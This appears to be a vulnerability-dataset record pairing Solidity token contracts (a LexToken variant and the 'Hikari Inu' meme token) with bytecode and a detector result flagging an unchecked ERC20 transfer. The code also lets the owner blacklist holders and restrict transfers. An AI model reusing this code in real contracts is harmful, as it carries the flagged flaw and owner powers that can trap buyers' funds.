_approve(msg.sender, spender, value);
return true;
}
function _burn(address from, uint256 value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function burn(uint256 value) external {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) external {
_approve(from, msg.sender, allowance[from][msg.sender].sub(value));
_burn(from, value);
}
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
_approve(msg.sender, spender, allowance[msg.sender][spender].sub(subtractedValue));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
_approve(msg.sender, spender, allowance[msg.sender][spender].add(addedValue));
return true;
}
// Adapted from https://github.com/albertocuestacanada/ERC20Permit/blob/master/contracts/ERC20Permit.sol
function permit(address owner, address spender, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external {
require(block.timestamp <= deadline, "expired");
bytes32 hashStruct = keccak256(abi.encode(
PERMIT_TYPEHASH,
owner,
spender,
amount,
nonces[owner]++,
deadline));
bytes32 hash = keccak256(abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
require(signer != address(0) && signer == owner, "!signer");
_approve(owner, spender, amount);
}
function purchase() external payable { // SALE
require(forSale, "!forSale");
(bool success, ) = manager.call{value: msg.value}("");
require(success, "!ethCall");
_transfer(address(this), msg.sender, msg.value.mul(saleRate));
}
receive() external payable { // SALE
require(forSale, "!forSale");
(bool success, ) = manager.call{value: msg.value}("");
require(success, "!ethCall");
_transfer(address(this), msg.sender, msg.value.mul(saleRate));
}
function redeem(uint256 value, string calldata redemption) external { // burn token with redemption message
_burn(msg.sender, value);
emit Redeem(redemption);
}
function _transfer(address from, address to, uint256 value) internal {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
/****************
MANAGER FUNCTIONS
****************/
modifier onlyManager {
require(msg.sender == manager, "!manager");
_;
}
function addOffer(string calldata offer) external onlyManager {
offers.push(offer);
emit AddOffer(offers.length-1, offer);
}
function amendOffer(uint256 index, string calldata offer) external onlyManager {
offers[index] = offer;
emit AmendOffer(index, offer);
}
function _mint(address to, uint256 value) internal {
require(totalSupply.add(value) <= totalSupplyCap, "capped");
balanceOf[to] = balanceOf[to].add(value);
totalSupply = totalSupply.add(value);
emit Transfer(address(0), to, value);
}
function mint(address to, uint256 value) external onlyManager {
_mint(to, value);
}
function mintBatch(address[] calldata to, uint256[] calldata value) external onlyManager {
require(to.length == value.length, "!to/value");
for (uint256 i = 0; i < to.length; i++) {
_mint(to[i], value[i]);
}
}
function updateGovernance(address payable _manager, string calldata _details) external onlyManager {
manager = _manager;
details = _details;
emit UpdateGovernance(_manager, _details);
}
function updateSale(uint256 _saleRate, uint256 _saleSupply, bool _burnToken, bool _forSale) external onlyManager {
saleRate = _saleRate;
forSale = _forSale;
if (_saleSupply > 0 && _burnToken) {_burn(address(this), _saleSupply);}
if (_saleSupply > 0 && !_burnToken) {_mint(address(this), _saleSupply);}
if (_forSale) {require(_saleRate > 0, "_saleRate = 0");}
emit UpdateSale(_saleRate, _saleSupply, _burnToken, _forSale);
}
function withdrawToken(address[] calldata token, address[] calldata withdrawTo, uint256[] calldata value, bool max) external onlyManager { // withdraw token sent to contract
require(token.length == withdrawTo.length && token.length == value.length, "!token/withdrawTo/value");
for (uint256 i = 0; i < token.length; i++) {
uint256 withdrawalValue = value[i];
if (max) {withdrawalValue = IERC20(token[i]).balanceOf(address(this));}
IERC20(token[i]).transfer(withdrawTo[i], withdrawalValue);
}
}
}
abstract contract Resolveable is PausedLexToken {
address public resolver; // account managing token balances
modifier onlyResolver {
require(msg.sender == resolver, "!resolver");
_;
}
constructor(address _resolver) {
resolver = _resolver;
}
function renounceResolver() external onlyResolver { // renounce resolver account
resolver = address(0);
}
function resolve(address from, address to, uint256 value) external onlyResolver { // resolve token balances
_transfer(from, to, value);
}
function transferResolver(address _resolver) external onlyResolver { // transfer resolver account
resolver = _resolver;
}
}
contract ResolveablePausedLexToken is Resolveable {
constructor(
address payable _manager,
address _resolver,
uint8 _decimals,
uint256 _managerSupply,
uint256 _saleRate,
uint256 _saleSupply,
uint256 _totalSupplyCap,
string memory _details,
string memory _name,
string memory _symbol,
bool _forSale
)
PausedLexToken(
_manager,
_decimals,
_managerSupply,
_saleRate,
_saleSupply,
_totalSupplyCap,
_details,
_name,
_symbol,
_forSale)
Resolveable(_resolver){}
}
|
0x6080604052600436106101fd5760003560e01c8063516b5e0d1161010d5780637ecebe00116100a0578063bb102aea1161006f578063bb102aea14610ab9578063d505accf14610ace578063dd62ed3e14610b2c578063e3537d6814610b67578063f8abb41e14610be9576102f9565b80637ecebe0014610a0e5780638a72ea6a14610a4157806395d89b4114610a6b578063a457c2d714610a80576102f9565b806370a08231116100dc57806370a08231146108a457806371d17629146108d757806379cc67901461090a5780637c88e3d914610943576102f9565b8063516b5e0d14610804578063565974d31461084757806364629ff71461085c57806364edfbf01461089c576102f9565b8063313ce5671161019057806340c10f191161015f57806340c10f19146106fc57806342966c6814610735578063466ccac01461075f578063481c6a75146107745780634f0371e914610789576102f9565b8063313ce5671461066e5780633644e5151461069957806339509351146106ae57806340557cf1146106e7576102f9565b80631d809a79116101cc5780631d809a791461042d57806321af82351461054c57806324b76fd5146105d757806330adf81f14610659576102f9565b806304f3bcec146102fe57806306fdde031461032f578063095ea7b3146103b957806318160ddd14610406576102f9565b366102f95760095460ff16610244576040805162461bcd60e51b815260206004820152600860248201526721666f7253616c6560c01b604482015290519081900360640190fd5b600080546040516001600160a01b039091169034908381818185875af1925050503d8060008114610291576040519150601f19603f3d011682016040523d82523d6000602084013e610296565b606091505b50509050806102d7576040805162461bcd60e51b815260206004820152600860248201526708595d1a10d85b1b60c21b604482015290519081900360640190fd5b6102f630336102f160015434610bfe90919063ffffffff16565b610c2e565b50005b600080fd5b34801561030a57600080fd5b50610313610cdc565b604080516001600160a01b039092168252519081900360200190f35b34801561033b57600080fd5b50610344610ceb565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561037e578181015183820152602001610366565b50505050905090810190601f1680156103ab5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103c557600080fd5b506103f2600480360360408110156103dc57600080fd5b506001600160a01b038135169060200135610d79565b604080519115158252519081900360200190f35b34801561041257600080fd5b5061041b610d8f565b60408051918252519081900360200190f35b34801561043957600080fd5b5061054a6004803603608081101561045057600080fd5b810190602081018135600160201b81111561046a57600080fd5b82018360208201111561047c57600080fd5b803590602001918460208302840111600160201b8311171561049d57600080fd5b919390929091602081019035600160201b8111156104ba57600080fd5b8201836020820111156104cc57600080fd5b803590602001918460208302840111600160201b831117156104ed57600080fd5b919390929091602081019035600160201b81111561050a57600080fd5b82018360208201111561051c57600080fd5b803590602001918460208302840111600160201b8311171561053d57600080fd5b9193509150351515610d95565b005b34801561055857600080fd5b5061054a6004803603604081101561056f57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561059957600080fd5b8201836020820111156105ab57600080fd5b803590602001918460018302840111600160201b831117156105cc57600080fd5b509092509050610fc9565b3480156105e357600080fd5b5061054a600480360360408110156105fa57600080fd5b81359190810190604081016020820135600160201b81111561061b57600080fd5b82018360208201111561062d57600080fd5b803590602001918460018302840111600160201b8311171561064e57600080fd5b5090925090506110aa565b34801561066557600080fd5b5061041b611119565b34801561067a57600080fd5b5061068361113d565b6040805160ff9092168252519081900360200190f35b3480156106a557600080fd5b5061041b61114d565b3480156106ba57600080fd5b506103f2600480360360408110156106d157600080fd5b506001600160a01b038135169060200135611153565b3480156106f357600080fd5b5061041b61118e565b34801561070857600080fd5b5061054a6004803603604081101561071f57600080fd5b506001600160a01b038135169060200135611194565b34801561074157600080fd5b5061054a6004803603602081101561075857600080fd5b50356111ec565b34801561076b57600080fd5b506103f26111f9565b34801561078057600080fd5b50610313611202565b34801561079557600080fd5b5061054a600480360360208110156107ac57600080fd5b810190602081018135600160201b8111156107c657600080fd5b8201836020820111156107d857600080fd5b803590602001918460018302840111600160201b831117156107f957600080fd5b509092509050611211565b34801561081057600080fd5b5061054a6004803603606081101561082757600080fd5b506001600160a01b0381358116916020810135909116906040013561130d565b34801561085357600080fd5b50610344611368565b34801561086857600080fd5b5061054a6004803603608081101561087f57600080fd5b5080359060208101359060408101351515906060013515156113c3565b61054a6114f2565b3480156108b057600080fd5b5061041b600480360360208110156108c757600080fd5b50356001600160a01b03166115e1565b3480156108e357600080fd5b5061054a600480360360208110156108fa57600080fd5b50356001600160a01b03166115f3565b34801561091657600080fd5b5061054a6004803603604081101561092d57600080fd5b506001600160a01b038135169060200135611660565b34801561094f57600080fd5b5061054a6004803603604081101561096657600080fd5b810190602081018135600160201b81111561098057600080fd5b82018360208201111561099257600080fd5b803590602001918460208302840111600160201b831117156109b357600080fd5b919390929091602081019035600160201b8111156109d057600080fd5b8201836020820111156109e257600080fd5b803590602001918460208302840111600160201b83111715610a0357600080fd5b50909250905061169f565b348015610a1a57600080fd5b5061041b60048036036020811015610a3157600080fd5b50356001600160a01b031661177a565b348015610a4d57600080fd5b5061034460048036036020811015610a6457600080fd5b503561178c565b348015610a7757600080fd5b50610344611802565b348015610a8c57600080fd5b506103f260048036036040811015610aa357600080fd5b506001600160a01b03813516906020013561185d565b348015610ac557600080fd5b5061041b611893565b348015610ada57600080fd5b5061054a600480360360e0811015610af157600080fd5b506001600160a01b03813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611899565b348015610b3857600080fd5b5061041b60048036036040811015610b4f57600080fd5b506001600160a01b0381358116916020013516611a7d565b348015610b7357600080fd5b5061054a60048036036040811015610b8a57600080fd5b81359190810190604081016020820135600160201b811115610bab57600080fd5b820183602082011115610bbd57600080fd5b803590602001918460018302840111600160201b83111715610bde57600080fd5b509092509050611a9a565b348015610bf557600080fd5b5061054a611b78565b600082610c0d57506000610c28565b82820282848281610c1a57fe5b0414610c2557600080fd5b90505b92915050565b6001600160a01b0383166000908152600b6020526040902054610c519082611be7565b6001600160a01b038085166000908152600b60205260408082209390935590841681522054610c809082611bd5565b6001600160a01b038084166000818152600b602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600d546001600160a01b031681565b6006805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610d715780601f10610d4657610100808354040283529160200191610d71565b820191906000526020600020905b815481529060010190602001808311610d5457829003601f168201915b505050505081565b6000610d86338484611bfc565b50600192915050565b60025481565b6000546001600160a01b03163314610ddf576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b8584148015610ded57508582145b610e3e576040805162461bcd60e51b815260206004820152601760248201527f21746f6b656e2f7769746864726177546f2f76616c7565000000000000000000604482015290519081900360640190fd5b60005b86811015610fbf576000848483818110610e5757fe5b9050602002013590508215610efd57888883818110610e7257fe5b905060200201356001600160a01b03166001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015610ece57600080fd5b505afa158015610ee2573d6000803e3d6000fd5b505050506040513d6020811015610ef857600080fd5b505190505b888883818110610f0957fe5b905060200201356001600160a01b03166001600160a01b031663a9059cbb888885818110610f3357fe5b905060200201356001600160a01b0316836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610f8a57600080fd5b505af1158015610f9e573d6000803e3d6000fd5b505050506040513d6020811015610fb457600080fd5b505050600101610e41565b5050505050505050565b6000546001600160a01b03163314611013576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b03851617905561103a60058383611dcc565b50826001600160a01b03167f28227c29e8844719ad1e9362701a58f2fd9151da99edd16146e6066f7995de60838360405180806020018281038252848482818152602001925080828437600083820152604051601f909101601f19169092018290039550909350505050a2505050565b6110b43384611c5e565b7ffaaa716cf73cc51702fa1de9713c82c6cd37a48c3abd70d72ef7e2051b60788b828260405180806020018281038252848482818152602001925080828437600083820152604051601f909101601f19169092018290039550909350505050a1505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b600054600160a01b900460ff1681565b60045481565b336000818152600a602090815260408083206001600160a01b03871684529091528120549091610d869185906111899086611bd5565b611bfc565b60015481565b6000546001600160a01b031633146111de576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b6111e88282611cef565b5050565b6111f63382611c5e565b50565b60095460ff1681565b6000546001600160a01b031681565b6000546001600160a01b0316331461125b576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b60078054600181018255600091909152611298907fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c688018383611dcc565b507fbc51c630f8cb647f3f7b7f755e8a9a267b836d659ef4fd39444767b2e99f8eb8600160078054905003838360405180848152602001806020018281038252848482818152602001925080828437600083820152604051601f909101601f1916909201829003965090945050505050a15050565b600d546001600160a01b03163314611358576040805162461bcd60e51b815260206004820152600960248201526810b932b9b7b63b32b960b91b604482015290519081900360640190fd5b611363838383610c2e565b505050565b6005805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610d715780601f10610d4657610100808354040283529160200191610d71565b6000546001600160a01b0316331461140d576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b60018490556009805460ff1916821515179055821580159061142c5750815b1561143b5761143b3084611c5e565b600083118015611449575081155b15611458576114583084611cef565b80156114a357600084116114a3576040805162461bcd60e51b815260206004820152600d60248201526c05f73616c6552617465203d203609c1b604482015290519081900360640190fd5b604080518581526020810185905283151581830152821515606082015290517fc731f083c0c404c37cc5224632a9920c93721188c2b3a25442ba50173c538a0a9181900360800190a150505050565b60095460ff16611534576040805162461bcd60e51b815260206004820152600860248201526721666f7253616c6560c01b604482015290519081900360640190fd5b600080546040516001600160a01b039091169034908381818185875af1925050503d8060008114611581576040519150601f19603f3d011682016040523d82523d6000602084013e611586565b606091505b50509050806115c7576040805162461bcd60e51b815260206004820152600860248201526708595d1a10d85b1b60c21b604482015290519081900360640190fd5b6111f630336102f160015434610bfe90919063ffffffff16565b600b6020526000908152604090205481565b600d546001600160a01b0316331461163e576040805162461bcd60e51b815260206004820152600960248201526810b932b9b7b63b32b960b91b604482015290519081900360640190fd5b600d80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0382166000908152600a60209081526040808320338085529252909120546116959184916111899085611be7565b6111e88282611c5e565b6000546001600160a01b031633146116e9576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b828114611729576040805162461bcd60e51b815260206004820152600960248201526821746f2f76616c756560b81b604482015290519081900360640190fd5b60005b838110156117735761176b85858381811061174357fe5b905060200201356001600160a01b031684848481811061175f57fe5b90506020020135611cef565b60010161172c565b5050505050565b600c6020526000908152604090205481565b6007818154811061179c57600080fd5b600091825260209182902001805460408051601f6002600019610100600187161502019094169390930492830185900485028101850190915281815293509091830182828015610d715780601f10610d4657610100808354040283529160200191610d71565b6008805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610d715780601f10610d4657610100808354040283529160200191610d71565b336000818152600a602090815260408083206001600160a01b03871684529091528120549091610d869185906111899086611be7565b60035481565b834211156118d8576040805162461bcd60e51b8152602060048201526007602482015266195e1c1a5c995960ca1b604482015290519081900360640190fd5b6001600160a01b038088166000818152600c602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958c166060860152608085018b905260a085019590955260c08085018a90528151808603909101815260e08501825280519083012060045461190160f01b61010087015261010286015261012280860182905282518087039091018152610142860180845281519185019190912090859052610162860180845281905260ff8a166101828701526101a286018990526101c2860188905291519095919491926101e2808401939192601f1981019281900390910190855afa1580156119f5573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811615801590611a2b5750896001600160a01b0316816001600160a01b0316145b611a66576040805162461bcd60e51b815260206004820152600760248201526610b9b4b3b732b960c91b604482015290519081900360640190fd5b611a718a8a8a611bfc565b50505050505050505050565b600a60209081526000928352604080842090915290825290205481565b6000546001600160a01b03163314611ae4576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b818160078581548110611af357fe5b906000526020600020019190611b0a929190611dcc565b507f8353bf99044ef1e4388a189da7c56d24f2b33549e3dfffdba49ca25a4e3aa1a983838360405180848152602001806020018281038252848482818152602001925080828437600083820152604051601f909101601f1916909201829003965090945050505050a1505050565b600d546001600160a01b03163314611bc3576040805162461bcd60e51b815260206004820152600960248201526810b932b9b7b63b32b960b91b604482015290519081900360640190fd5b600d80546001600160a01b0319169055565b600082820183811015610c2557600080fd5b600082821115611bf657600080fd5b50900390565b6001600160a01b038084166000818152600a6020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0382166000908152600b6020526040902054611c819082611be7565b6001600160a01b0383166000908152600b6020526040902055600254611ca79082611be7565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b600354600254611cff9083611bd5565b1115611d3b576040805162461bcd60e51b815260206004820152600660248201526518d85c1c195960d21b604482015290519081900360640190fd5b6001600160a01b0382166000908152600b6020526040902054611d5e9082611bd5565b6001600160a01b0383166000908152600b6020526040902055600254611d849082611bd5565b6002556040805182815290516001600160a01b038416916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282611e025760008555611e48565b82601f10611e1b5782800160ff19823516178555611e48565b82800160010185558215611e48579182015b82811115611e48578235825591602001919060010190611e2d565b50611e54929150611e58565b5090565b5b80821115611e545760008155600101611e5956fea26469706673582212201d3bb0e12b035fee0ac74f0be6300b8f13f4aa6ee1915685936d945d7451565764736f6c63430007040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 3,996 |
0x317cb6b63d388191f5f575b46044b7efc1191a0a
|
/**
*Submitted for verification at Etherscan.io on 2021-06-11
*/
// Hikari Inu ($HIKA)
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract HikariInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Hikari Inu";
string private constant _symbol = "HIKA";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _cooldownSeconds = 40;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool isEnabled) external onlyOwner() {
cooldownEnabled = isEnabled;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (_cooldownSeconds * 1 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function addLiquidityETH() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 5000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setCooldownSeconds(uint256 cooldownSecs) external onlyOwner() {
require(cooldownSecs > 0, "Secs must be greater than 0");
_cooldownSeconds = cooldownSecs;
}
}
|
